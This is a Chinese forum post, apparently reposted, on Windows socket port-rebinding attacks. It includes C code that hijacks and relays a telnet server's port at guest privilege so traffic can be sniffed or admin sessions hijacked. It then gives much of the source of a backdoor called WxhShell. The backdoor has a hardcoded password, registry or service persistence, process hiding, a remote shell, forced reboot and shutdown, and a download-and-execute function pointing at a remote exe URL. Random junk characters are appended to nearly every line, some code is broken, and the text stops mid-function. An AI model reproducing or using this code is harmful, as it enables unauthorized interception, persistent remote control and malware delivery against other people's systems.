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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: a?ii)GGq  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m/>z}d05h  
XCku[?Ix  
  saddr.sin_family = AF_INET; [iT#Pu5  
* 57y.](w  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4I<U5@a  
pk:2>sx/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /b~|(g31"  
+}@6V4BRn  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 So\f [/em  
x $=-lB  
  这意味着什么?意味着可以进行如下的攻击: ZHW|P  
h]#bPb  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8A3!XA  
Z|dng6ck  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) WMXk-?v4  
o 2sOf  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Q.]RYv}\  
ziBg'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  X4}Lg2ts  
_b1w<T `  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Bi|XdS$G  
Kh;jiK !  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =_Y#uE$  
.j_YVYu1&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =a3qpPkx  
iv]*HE  
  #include *C n `pfO  
  #include [MVG\6Up(  
  #include #.z`clK#  
  #include    h>[][c(b  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -jOCzp  
  int main() ^qD@qJ  
  { |XdkJv]  
  WORD wVersionRequested; .}zpvr8YP  
  DWORD ret; sVJwe\!  
  WSADATA wsaData; e.:SBXZ  
  BOOL val; d)7V:  
  SOCKADDR_IN saddr; "vnWq=E 2  
  SOCKADDR_IN scaddr; ]$gBX=  
  int err; 4)=\5wJDg1  
  SOCKET s; fooQqWC)  
  SOCKET sc; Q-LDFnOFwp  
  int caddsize; . |g67PH=  
  HANDLE mt; A(>kp=~  
  DWORD tid;   V`MV_zA2  
  wVersionRequested = MAKEWORD( 2, 2 ); xX]92Q  
  err = WSAStartup( wVersionRequested, &wsaData ); }R -azN;  
  if ( err != 0 ) { EO[UezuU  
  printf("error!WSAStartup failed!\n"); MGzuQrl{H  
  return -1; gAWrn^2L5  
  } Yh}F  
  saddr.sin_family = AF_INET; 7JI&tlR4\c  
   |2eF~tJqc  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Ie%twc  
/K./k!'z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,wvzY7%  
  saddr.sin_port = htons(23); .`ppp!:a4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,`lVB#|  
  { ? m$7)@p  
  printf("error!socket failed!\n"); l*Iy:j(B  
  return -1; M~1 n#  
  } DlXthRM  
  val = TRUE; :U7m@3czU  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 P_f>a?OL:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )=)=]|3  
  { #n_uELE  
  printf("error!setsockopt failed!\n");  `xpU  
  return -1; n xc35  
  } ^Q\O8f[u  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "?~u*5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 oqOXRUy  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -gP4| r8&  
>{dj6Wo  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) mfNYN4Um6  
  { dU~DlaEy(  
  ret=GetLastError(); Fq<;-  
  printf("error!bind failed!\n"); +|w-1&-  
  return -1; Z=vzF0  
  } *\i<+~I@l  
  listen(s,2); /}Z0\ ,  
  while(1) nPj+mg  
  { 8'(|1  
  caddsize = sizeof(scaddr); \5wC&|WEB  
  //接受连接请求 :%?\Wj5HW  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); zmxrz[  
  if(sc!=INVALID_SOCKET) Hlw0i a  
  { ,DT =(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); cQaEh1n  
  if(mt==NULL) W~1MeAI  
  { Z-!W#   
  printf("Thread Creat Failed!\n"); #z\{BtK  
  break; H...!c1M@  
  } ?V}AwLX}  
  } ^'|\8  
  CloseHandle(mt); :W/,V^x}  
  } Wkk=x&  
  closesocket(s); :z EhPx;B7  
  WSACleanup(); `2Buf8|a,  
  return 0; 90pk  
  }   hupYiI~  
  DWORD WINAPI ClientThread(LPVOID lpParam) &&w7-  
  { $cLtAo^W  
  SOCKET ss = (SOCKET)lpParam; S;"7d  
  SOCKET sc; bm{L6D E  
  unsigned char buf[4096]; |xTf:@hgHf  
  SOCKADDR_IN saddr; ZcXqH7`r  
  long num; U~SOHfZ%(  
  DWORD val; HgwL~vG  
  DWORD ret; 5O9Oi:-!c  
  //如果是隐藏端口应用的话,可以在此处加一些判断 aQ ~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   c{Ax{-'R  
  saddr.sin_family = AF_INET; /#PEEN  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]Qp0|45=  
  saddr.sin_port = htons(23); G;+hc%3y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -L/5Nbup  
  { Sdc;jK 9d!  
  printf("error!socket failed!\n"); }{^i*T5rl  
  return -1; z/7H/~d  
  } 1R/=as,R  
  val = 100; -4JdK O  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =W9;rQm  
  { k!]Tg"]JAh  
  ret = GetLastError(); "jVMk  
  return -1; T x_n$ &  
  } 13]sZ([B%|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vXnTPjbE  
  { Ml)Xq-&wc  
  ret = GetLastError(); "R$ee^  
  return -1; j.GpJDq  
  } /tno`su;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7oPBe1P,K+  
  { K5Fzmo a  
  printf("error!socket connect failed!\n"); LB1.N!q1  
  closesocket(sc); uOEFb  
  closesocket(ss); ;APpgt4  
  return -1; FU0&EO  
  } lqOv_q  
  while(1) 7 :s6W%W1*  
  { DTdL|x.{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _Y*: l7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5Mb1==/R  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :~ 3/  
  num = recv(ss,buf,4096,0); |WeLmy%9  
  if(num>0) ,\5]n&T;r  
  send(sc,buf,num,0); S ~lw5  
  else if(num==0) t-SGG{  
  break; (jkjj7a  
  num = recv(sc,buf,4096,0); 5|:=#Ql*  
  if(num>0) >Lanuv)O  
  send(ss,buf,num,0); `xkJ.,#Io  
  else if(num==0) kTG}>I  
  break; r]'AdJFt  
  } \z8TYx@  
  closesocket(ss); `S Wf)1K  
  closesocket(sc); +MOUO$;fGt  
  return 0 ; uJG^>B?`b  
  } ~ K^Z4  
&hs)}uM&$  
GZ@!jF>!u  
========================================================== 7,|-%!p[  
KoQvC=+WI  
下边附上一个代码,,WXhSHELL R+Ke|C  
l\5qa_{z  
========================================================== }6eWdm!B  
n$}c+1   
#include "stdafx.h" P/t$xqAL  
A]B D2   
#include <stdio.h> NF0} eom  
#include <string.h> 2P9hx5PiV  
#include <windows.h> <4*7HY[  
#include <winsock2.h> $$ \| 3rj!  
#include <winsvc.h> b/]C, P  
#include <urlmon.h> FFH-Kw,  
CQsVGn{x  
#pragma comment (lib, "Ws2_32.lib") 2`t4@T  
#pragma comment (lib, "urlmon.lib") x&)P)H0vn  
4MRHz{`wa  
#define MAX_USER   100 // 最大客户端连接数 CN: 36  
#define BUF_SOCK   200 // sock buffer cX1"<fD o  
#define KEY_BUFF   255 // 输入 buffer 9n!3yZVSe  
2N(c&Dzkh`  
#define REBOOT     0   // 重启 t,R5FoV  
#define SHUTDOWN   1   // 关机 u9m"{KnV  
<H)h+?&~d  
#define DEF_PORT   5000 // 监听端口 w0moC9#$?  
Z/hSH 0(~  
#define REG_LEN     16   // 注册表键长度 R^dAwt`.D  
#define SVC_LEN     80   // NT服务名长度 2hf]XV\  
f? [y-  
// 从dll定义API W3 2mAz;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ik=KEOz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I2|iqbX40Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~oT0h[<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "S#0QH%5  
^#exs Xy  
// wxhshell配置信息 `EU=u_N  
struct WSCFG { MsX`TOyO!  
  int ws_port;         // 监听端口 RhbYDsG  
  char ws_passstr[REG_LEN]; // 口令 |)pT"`  
  int ws_autoins;       // 安装标记, 1=yes 0=no H*yX Iq:  
  char ws_regname[REG_LEN]; // 注册表键名 PWLMux  
  char ws_svcname[REG_LEN]; // 服务名 )e9(&y*o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O|%><I?I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~b8U#'KD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }RDhI1x[mk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6P?   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]t7<$L   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dB_\0?jJ-  
athU  
}; qN+ngk,:  
33[2$FBf  
// default Wxhshell configuration ]_|qv1K6  
struct WSCFG wscfg={DEF_PORT, hV'JTU]H  
    "xuhuanlingzhe", #12PO q  
    1, $+S'Boo   
    "Wxhshell", l4hC>q$T  
    "Wxhshell", '!{zO" 1*  
            "WxhShell Service", K!HSQ,AC  
    "Wrsky Windows CmdShell Service", E n{vCN  
    "Please Input Your Password: ", eNu `\  
  1, N}VKH5U|  
  "http://www.wrsky.com/wxhshell.exe", D19uI&U4  
  "Wxhshell.exe" #=7~.Y  
    }; WZ@nuK.39T  
#\@*C=  
// 消息定义模块 E;D9S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e][U ;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; IR(JBB|xNQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GJ ZT~  
char *msg_ws_ext="\n\rExit."; QF'N8Kla  
char *msg_ws_end="\n\rQuit."; [P)HVFy|l  
char *msg_ws_boot="\n\rReboot..."; U $X"W'  
char *msg_ws_poff="\n\rShutdown..."; id&;  
char *msg_ws_down="\n\rSave to "; [)# ,~L3  
J03yFT,dF  
char *msg_ws_err="\n\rErr!"; yXR$MT+~  
char *msg_ws_ok="\n\rOK!"; d1``} naNw  
cm6cW(x6  
char ExeFile[MAX_PATH]; y!mjZR,&  
int nUser = 0; "l n(EvW  
HANDLE handles[MAX_USER]; )@\= pE.H  
int OsIsNt; #G$_\bt  
b!5W!vcK  
SERVICE_STATUS       serviceStatus; gI'4g ZH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; sR +=<u1  
vM1f-I-  
// 函数声明 @lDoMm,m'  
int Install(void); j5G8IP_Wx  
int Uninstall(void); `kVy1WiY  
int DownloadFile(char *sURL, SOCKET wsh); C:0Ra^i ?L  
int Boot(int flag); DE^{8YX,  
void HideProc(void); K.",=\53  
int GetOsVer(void); HPg@yx"U  
int Wxhshell(SOCKET wsl); #l+U(zH:JG  
void TalkWithClient(void *cs); ,g 6w2y7 ]  
int CmdShell(SOCKET sock); /b@8#px  
int StartFromService(void); GO+cCNMa"  
int StartWxhshell(LPSTR lpCmdLine); z6ArSLlZ  
u! x9O8y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +i4S^B/8i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }O<=!^Y;A  
%mt|Dl  
// 数据结构和表定义 |94"bDL3~  
SERVICE_TABLE_ENTRY DispatchTable[] = } R;.~F  
{ 3/@7$nV  
{wscfg.ws_svcname, NTServiceMain}, bQr H8)  
{NULL, NULL} L#M9!  
}; r|{h7'  
(@p E  
// 自我安装 >|/NDF=\s  
int Install(void) 7Xw;TA  
{ # ~} 26  
  char svExeFile[MAX_PATH]; bezT\F/\  
  HKEY key; uv/I`[@HK8  
  strcpy(svExeFile,ExeFile); k*w]a  
 .]k+hc`  
// 如果是win9x系统,修改注册表设为自启动 B ;9^  
if(!OsIsNt) { _ohZTT%l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V; Yl:*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z\sy~DM;>  
  RegCloseKey(key); 8G6PcTqv"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .Xc, Gq{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9H_2Y%_  
  RegCloseKey(key); 8&IsZPq%l  
  return 0; (I IPrW;>  
    } %r=uS.+hrF  
  } | Z0?  
} 3qXOsa7  
else { <_dyUiT$J  
`kpX}cKK}  
// 如果是NT以上系统,安装为系统服务 X2}\i5{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hJ (Q^Z  
if (schSCManager!=0) 5IOOVYl  
{ ` {gkL-  
  SC_HANDLE schService = CreateService lQ<2Vw#Yl  
  ( C5CUMYU  
  schSCManager, IgI*mDS&b  
  wscfg.ws_svcname, j#f+0  
  wscfg.ws_svcdisp, /XeDN-{  
  SERVICE_ALL_ACCESS, 0k@4;BYu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &BY%<h0c  
  SERVICE_AUTO_START, ryB^$Kh,,  
  SERVICE_ERROR_NORMAL, eB%KXPhMm  
  svExeFile, AE={P*g  
  NULL, 8V`NQS$  
  NULL, 9TIyY`2!  
  NULL, h3Nwxj~E  
  NULL, %[u6<  
  NULL Kyt.[" p  
  ); !hrXud=#"  
  if (schService!=0) 9%S{fd\#  
  { GbFLu`Iu  
  CloseServiceHandle(schService); : ^F+m QN  
  CloseServiceHandle(schSCManager); 5x(`z   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AjKP -[  
  strcat(svExeFile,wscfg.ws_svcname); 9c1g,:8\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =Mzg={)v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g{.>nE^Sc5  
  RegCloseKey(key); :!Wijdq  
  return 0; s:'M[xI  
    } ZR.1SA0x?O  
  } ng0IRJ:3  
  CloseServiceHandle(schSCManager); w,bILv)  
} /;-KWu+5=  
} D>+&= 5{  
iS&~oj_-%  
return 1; jV]'/X<  
} 3FT%.dV^  
^1s!OT Is  
// 自我卸载 )G\23P  
int Uninstall(void) K{.s{;#  
{ 8c(}*,O/  
  HKEY key; !C * %,Ak  
A{iI,IFe  
if(!OsIsNt) { X,: pT\G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RrSSAoz1  
  RegDeleteValue(key,wscfg.ws_regname); dIQ7u  
  RegCloseKey(key); h!5^d!2,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O#  .^}  
  RegDeleteValue(key,wscfg.ws_regname); '%_1eaH  
  RegCloseKey(key); 1sl^+)z8  
  return 0; J]UlCg  
  } %_0,z`f  
} k_/hgO  
} {_0Efc=7  
else { WMnR+?q  
S+py \z%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ] e!CH <N  
if (schSCManager!=0) c9-$t d&  
{ f{xR s-u]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); EAn}8#r'(8  
  if (schService!=0) >y mMQEX`  
  { U_v{Vs  
  if(DeleteService(schService)!=0) { gP"p7\ (  
  CloseServiceHandle(schService); )X@Obg  
  CloseServiceHandle(schSCManager); @'C f<wns  
  return 0; {Z 3t0F  
  } L]hXAShmb  
  CloseServiceHandle(schService); @[u!  
  } <h^'x7PkW5  
  CloseServiceHandle(schSCManager); VgtW T`F.I  
} 1@q~(1-o  
} vCyvy^s-I  
#DApdD9M  
return 1; S8*VjG?T\  
} -CfGWO#Gbx  
Zx,R6@l  
// 从指定url下载文件 E{kh)-  
int DownloadFile(char *sURL, SOCKET wsh) AWHB^}!}  
{ k@JDG]R<{  
  HRESULT hr; Mez;DKJ`  
char seps[]= "/"; &,4]XT  
char *token; ^wPKqu)^  
char *file; lwYk`'  
char myURL[MAX_PATH]; oEbgyT gB  
char myFILE[MAX_PATH]; |Ak>kQJ(1z  
eZWN9#p2  
strcpy(myURL,sURL); M[$(Pu  
  token=strtok(myURL,seps); Qna ^Ry?6)  
  while(token!=NULL) !-b4@=f:  
  { ,cPNZ-%  
    file=token; rLs)*A!  
  token=strtok(NULL,seps); *( YtO  
  } Yr@_X  
}dw`[{cm  
GetCurrentDirectory(MAX_PATH,myFILE); z"*X/T  
strcat(myFILE, "\\"); UZ0fw@RM  
strcat(myFILE, file); ;"SnCBt:>  
  send(wsh,myFILE,strlen(myFILE),0); 2|@@xF  
send(wsh,"...",3,0); fI>>w)5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tRRPNY  
  if(hr==S_OK) LuY`mi  
return 0; =Xh^@ OR  
else Yq}7x1mm  
return 1; [H;HrwM s)  
JIvVbI  
} QLH&WF  
:'?%%P  
// 系统电源模块 h^^zR)EVb  
int Boot(int flag) 4[a?. .X  
{ e`k6YO  
  HANDLE hToken; fL.;-  
  TOKEN_PRIVILEGES tkp; =MDir$1Z  
]UKKy2r.  
  if(OsIsNt) { jT"P$0sJAd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WXu:mv,'e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '$pT:4EuGq  
    tkp.PrivilegeCount = 1; J2Y-D'*s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "<ow;ciJF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); In^MZ)?  
if(flag==REBOOT) { "}Kvx{L8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2K<rK(  
  return 0; i)f3\?,,  
} ]'V8{l  
else { )tR5JK} AV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @;kw6f:{d  
  return 0; ~t[ #p:  
} 0}Rxe  
  } \]GO*]CaV  
  else { B!GpD@U  
if(flag==REBOOT) { F{)YdqQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +qq,;npi  
  return 0; 9 tkj:8_  
} &?>h#H222  
else { K];nM}<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R5 47  
  return 0; {9U<!  
} B 3|zR  
} 21D4O,yCe  
}HtP8F8!x  
return 1; w{k8Y?  
} 5,`U3na,  
a(Ka2;M4J  
// win9x进程隐藏模块 -cs 4<  
void HideProc(void) j*f%<`2`j  
{ 5w"f.d'  
]\5@N7h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uMa: GDh7  
  if ( hKernel != NULL ) NCYN .@J  
  { `GOxFDB.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tk"L2t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;KJJK#j  
    FreeLibrary(hKernel); kRs[H xI3  
  } ~r;da9  
5MV4N[;  
return; _d6mf4M]5  
} -B :Z(]3#\  
!Sr^4R+Z  
// 获取操作系统版本 " ] 0ER  
int GetOsVer(void) l=D E|:  
{ 2uFaAAT  
  OSVERSIONINFO winfo; @QI]P{   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k1Zu&4C\  
  GetVersionEx(&winfo); o^dt# &  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^-{ 1]G:  
  return 1; &&$/>[0=.  
  else zrk/}b0j  
  return 0; ^4(CO[|c~  
} 6i[\?7O'0  
QT{$2 7;  
// 客户端句柄模块 aGVzg$  
int Wxhshell(SOCKET wsl) "wL~E Si  
{ A[J9v{bD  
  SOCKET wsh; 0CS^S1/[B`  
  struct sockaddr_in client; nV38Mj2U  
  DWORD myID; x&sT )=#  
MK9?81xd  
  while(nUser<MAX_USER) Fn$/ K  
{ 1<A+.W  
  int nSize=sizeof(client); k$:QpTg[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f^](D'L?D  
  if(wsh==INVALID_SOCKET) return 1; WS9n.opl}  
Ug^C}".&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !+& NG&1  
if(handles[nUser]==0) h95C4jBE  
  closesocket(wsh); o_/C9[:  
else SF+ ^dPwj  
  nUser++; BL0WI9  
  } Jpg_$~k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }hyK/QUCoN  
EceZ1b  
  return 0; 1  6;l,@  
} :Q2\3  
C&D]!Zv F  
// 关闭 socket W~p^AHco`  
void CloseIt(SOCKET wsh) Tj*o[2mD  
{ T[a1S?_*T  
closesocket(wsh); ju0]~,  
nUser--; %8/Gsu;  
ExitThread(0); %\N.m/5  
} //@_`.  
\<|a>{`7]i  
// 客户端请求句柄 (ii 5pnq  
void TalkWithClient(void *cs) }#z E`IT  
{ nQK@Uy5Yr  
WIOV  
  SOCKET wsh=(SOCKET)cs; hJ4==ILx  
  char pwd[SVC_LEN]; 2#_9x7g+  
  char cmd[KEY_BUFF]; PN/2EmwtC  
char chr[1]; F`8A!|cIy  
int i,j; RyD2LAf)J  
G+4a%?JH  
  while (nUser < MAX_USER) { 0K>rc1dy  
9F0B-aZ  
if(wscfg.ws_passstr) { n4YEu\*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^T'+dGU`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 95(c{ l/  
  //ZeroMemory(pwd,KEY_BUFF); @ :Q];rc  
      i=0; 9;dP7o  
  while(i<SVC_LEN) { COv#dOw  
%#Wg>6  
  // 设置超时 ;w4rwL  
  fd_set FdRead; Xn.zN>mB  
  struct timeval TimeOut; 9Q=g]int u  
  FD_ZERO(&FdRead); OTtSMO  
  FD_SET(wsh,&FdRead); H(Mlf  
  TimeOut.tv_sec=8; kr8NKZ/  
  TimeOut.tv_usec=0; (~-q}_G;Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hw_7N)}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ./kmI#gaV  
y[q W>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h 7kyz  
  pwd=chr[0]; Wr`=P,  
  if(chr[0]==0xd || chr[0]==0xa) { d|on y  
  pwd=0; :*t v`:;p  
  break; WP32t@  
  } [#j|TBMHM  
  i++; ig; ~ T  
    } IK{0Y#c  
[rTV)JsTb  
  // 如果是非法用户,关闭 socket i3: sV5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~J)4(411  
} GY,@jp|R  
sC ]&Qr_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F"hi2@/TI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [KWF7GQi  
)%;#~\A  
while(1) { `]5XY8^kI  
{eIE|   
  ZeroMemory(cmd,KEY_BUFF); tRbZ^5x\@  
U,iTURd  
      // 自动支持客户端 telnet标准   s`C#=l4  
  j=0; ;}f%bE  
  while(j<KEY_BUFF) { cWFvYF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kKE 2~ q  
  cmd[j]=chr[0]; j])iyn~-Ke  
  if(chr[0]==0xa || chr[0]==0xd) { !SJmu}OB]  
  cmd[j]=0; cJ]`/YJ  
  break;  t8GJ;  
  } HLYM(Pz  
  j++; v8*ZwF  
    } ~l6e&J  
,wO5IaV  
  // 下载文件 -rH4/Iby  
  if(strstr(cmd,"http://")) { Y141Twjvd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 54uTu2  
  if(DownloadFile(cmd,wsh)) 5*g@;aR1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e-qr d  
  else 68I4MZK>4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H _3gVrP_  
  } !}1n?~]`  
  else { 2"<}9A<Xs  
Z|8f7@k{|+  
    switch(cmd[0]) { KN}[N+V>  
  2d.I3z:[  
  // 帮助 7 UQD02  
  case '?': { = 1}-]ctVn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9%zR ? u  
    break; 5R"b1  
  } C dZ;ZR  
  // 安装 &~E=T3  
  case 'i': { DT9i<kl  
    if(Install()) C 2oll-kN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^D.B^BR  
    else !+>yCy$~_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -v jjcyTt  
    break; JAB]kNvI  
    } gmLw.|-  
  // 卸载 \Z+v\5nmO  
  case 'r': { }ZYK3F  
    if(Uninstall()) n1sH`C[c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `=-}S+  
    else $S,Uoh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6_XX[.%  
    break; zZiB`%  
    } U4N S.`V  
  // 显示 wxhshell 所在路径 `M7){  
  case 'p': { e6F:['j  
    char svExeFile[MAX_PATH]; FswFY7 8  
    strcpy(svExeFile,"\n\r"); cz T@txF  
      strcat(svExeFile,ExeFile); dk(-yv'  
        send(wsh,svExeFile,strlen(svExeFile),0); v(: VUo]H  
    break; =<e#  2  
    } YRYrR|I  
  // 重启 Ok:@F/ v  
  case 'b': { Ix *KL=MG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'HqAm$V+  
    if(Boot(REBOOT)) >_F& oA#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yY"%6k,ZB  
    else { #;mZ3[+i5  
    closesocket(wsh); Nc"h8p?  
    ExitThread(0); uO^{+=;A =  
    } fi?[ e?|c@  
    break; %pwm34  
    } MfL q h  
  // 关机 E'r* g{,  
  case 'd': { W6_3f-4g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); omRd'\ RO  
